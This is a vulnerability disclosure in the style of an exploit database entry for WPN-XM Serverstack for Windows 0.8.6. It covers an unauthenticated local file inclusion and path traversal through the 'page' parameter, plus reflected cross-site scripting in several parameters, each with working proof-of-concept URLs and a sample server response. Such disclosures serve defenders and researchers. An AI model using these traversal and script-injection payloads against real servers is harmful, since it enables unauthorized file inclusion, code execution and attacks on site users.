WPN-XM Serverstack for Windows 0.8.6 – Multiple Vulnerabilities

# Exploit Title: WPN-XM Serverstack for Windows 0.8.6 - Multiple Vulnerabilities

# Discovery by: Rafael Pedrero

# Discovery Date: 2022-02-13

# Vendor Homepage: http://wpn-xm.org/

# Software Link : https://github.com/WPN-XM/WPN-XM/

# Tested Version: 0.8.6

# Tested on:Windows 10 using XAMPP

# Vulnerability Type: Local File Inclusion (LFI) & directory traversal

(path traversal)

CVSS v3: 7.5

CVSS vector: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

CWE: CWE-829, CWE-22

Vulnerability description: WPN-XM Serverstack for Windows v0.8.6 allows

unauthenticated directory traversal and Local File Inclusion through the

parameter in an /tools/webinterface/index.php?page=..\..\..\..\..\..\hello

(without php) GET request.

Proof of concept:

To detect: http://localhost/tools/webinterface/index.php?page=)

The parameter "page" can be modified and load a php file in the server.

Example, In C:\:hello.php with this content:

C:\>type hello.php

<?php

echo "HELLO FROM C:\\hello.php";

To Get hello.php in c:\ :

http://localhost/tools/webinterface/index.php?page=..\..\..\..\..\..\hello

Note: hello without ".php".

And you can see the PHP message into the browser at the start.

Response:

HELLO FROM C:\hello.php<!DOCTYPE html>

<head>

<title>WP?-XM Server Stack for Windows - 0.8.6</title>

Webinterface.">

# Vulnerability Type: reflected Cross-Site Scripting (XSS)

CVSS v3: 6.5

CVSS vector: 3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

CWE: CWE-79

Vulnerability description: WPN-XM Serverstack for Windows v0.8.6, does not

sufficiently encode user-controlled inputs, resulting in a reflected

Cross-Site Scripting (XSS) vulnerability via the

/tools/webinterface/index.php, in multiple parameters.

Proof of concept:

http://localhost/tools/webinterface/index.php?action=showtab%3Cscript%3Ealert(1);%3C/script%3E&page=config&tab=help

http://localhost/tools/webinterface/index.php?action=showtab&page=config%3Cscript%3Ealert(1);%3C/script%3E&tab=help

http://localhost/tools/webinterface/index.php?action=showtab&page=config&tab=help%3Cscript%3Ealert(1);%3C/script%3E